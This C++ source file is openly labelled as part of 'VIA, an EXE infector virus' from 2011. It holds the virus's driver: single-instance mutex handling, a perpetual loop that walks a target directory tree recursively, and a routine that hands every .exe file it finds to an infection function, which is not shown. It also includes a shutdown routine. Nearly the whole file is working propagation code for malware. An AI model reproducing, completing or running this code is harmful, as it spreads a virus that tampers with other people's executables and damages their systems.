/**
 * @author	Yitzchak Arad
 * @project	VIA, an EXE infector virus
 * @date	2011
 */

#include "via.h"
#include<ctime>

// documented in header file (via.h)
bool ViaRun(const std::wstring& targetDir)
{
	// Seed randomization, using clock
	srand ( (unsigned int)time(NULL) );

	// is another instance of VIA is running?
	if(!OpenMutualRunningEvent())
	{
		// yes, close and exit.
		CloseMutualRunningEvent();
		return false;
	}
	// We are the only instance of VIA

	std::wstring dir;
	// is target provided?
	if( targetDir.empty() )
	{
		// NO. choose the default target
		traceDbg(L"ViaLib: ViaRun: got empty target. running on test folder...");
		dir = L"%systemdrive%\\viaTest";
	}
	else
	{
		dir = targetDir;
	}
	
	// expand env vars in the target path
	wchar_t expandedDir[MAX_PATH] = {0};
	ExpandEnvironmentStringsW(dir.c_str(), expandedDir, MAX_PATH);
	dir = expandedDir;
	traceDbg(L"ViaLib: ViaRun: target: %s", dir.c_str());

	// infection will use ourselves and payload.
	// store our path once, and pass it the every infection run
	wchar_t SELF_NAME[MAX_PATH] = {0};
	GetModuleFileNameW(NULL, SELF_NAME, MAX_PATH);
	std::wstring selfName(SELF_NAME);

	// MAIN LOOP

	while(true)
	{
		traceDbg(L"ViaLib: ViaRun: Alive and kicking!");
		// should go down?
		if(IsShutdownEventSignaled(3000))
		{
			// YES. get out from the main loop.
			break;
		}

		// iterate over the target (recoursively)
		searchExeFilesForInfection(dir, selfName);
	}
	
	// release the mutual run indicator
	CloseMutualRunningEvent();
	return true;
}

// documented in header file (via.h)
bool ViaDown()
{
	SignalShutdownEvent();

	// check if any another instance is not running
	// (by trying the catch the "mutex")
	for(unsigned long i = 0; i < 10; i++)
	{
		bool retval = OpenMutualRunningEvent();
		CloseMutualRunningEvent();

		// did we success catching the mutex?
		if(retval)
		{
			// YES. there is no other instance running.
			traceDbg(L"ViaLib: ViaDown: no another instance is running!");
			return true;
		}
		else
		{
			// NO. give him another chance.
			Sleep(1000);
		}
	}

	// if we got here, the is a "running" instance that refuses to shutdown.
	// probably, it's stuck.

	traceDbg(L"ViaLib: ViaDown: still up after 10 tries.");
	return false;
}

// documented in header file (via.h)
void searchExeFilesForInfection(const std::wstring& targetDir, const std::wstring& selfName)
{
	WIN32_FIND_DATAW findData = {0};
	
	// the iteration stops when GetLastError is NO_MORE_FILES.
	// so it's important to clean the LastError before starting
	SetLastError(0);

	// initialize search handle
	HANDLE hFind = FindFirstFileW((targetDir + L"\\*.exe").c_str(), &findData);
	
	if( INVALID_HANDLE_VALUE == hFind )
	{
		// no results.
		DWORD err = GetLastError();

		// if the error is common (2, 3) - don't report it
		if( err != ERROR_FILE_NOT_FOUND && err != ERROR_PATH_NOT_FOUND )
		{
			traceDbg(L"ViaLib: searchExeFilesForInfection: FindFirstFile failed. Last Err: 0x%x", GetLastError());
		}
	}
	else
	{
		// there are some results
		// iterate results, until the API will return NO_MORE_FILES
		while(GetLastError() != ERROR_NO_MORE_FILES)
		{
			// the fileName should be concatenated to the parent path
			std::wstring filename = targetDir + L"\\" + findData.cFileName;

			// try to infect
			if(infectFile(filename, selfName))
			{
				// SUCCESS!
				traceDbg(L"ViaLib: successfully infected: %s", filename.c_str());
			}
			// don't report failure, to preserve the log readable.
			// failure may occur even because the file is already infected.

			// move on.
			FindNextFileW(hFind, &findData);
		}

		// release the search handle
		FindClose(hFind);
	}

	// start FOLDER iteration
	
	// clear status (here it is must, because the previous error is certainly NO_MORE_FILES...)
	SetLastError(0);

	// initialize search handle.
	// FindFirstFileEx provides an option to filter only directories, using FileSystem capabilities.
	hFind = FindFirstFileExW((targetDir + L"\\*").c_str(), FindExInfoStandard, &findData, FindExSearchLimitToDirectories, NULL, 0);
	if( INVALID_HANDLE_VALUE == hFind )
	{
		// no results.
		DWORD err = GetLastError();

		// if the error is common (2, 3) - don't report it
		if( err != ERROR_FILE_NOT_FOUND && err != ERROR_PATH_NOT_FOUND )
		{
			traceDbg(L"ViaLib: searchExeFilesForInfection: FindFirstFile(Folder) failed. Last Err: 0x%x", GetLastError());
		}
	}
	else
	{
		// there are some results
		// iterate results, until the API will return NO_MORE_FILES
		while(GetLastError() != ERROR_NO_MORE_FILES)
		{
			// validate that the item is a directory (using its attributes)
			// and filter out the psuedu directories: "." (current), ".." (parent)
			if( (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && wcscmp(findData.cFileName, L".") != 0 && wcscmp(findData.cFileName, L"..") != 0 )
			{
				// the folderName should be concatenated to the parent path
				std::wstring foldername = targetDir + L"\\" + findData.cFileName;

				// enter into the recoursion
				searchExeFilesForInfection(foldername, selfName);
			}

			// move on.
			FindNextFileW(hFind, &findData);
		}

		// release the search handle
		FindClose(hFind);
	}

	// just for safety
	SetLastError(0);
}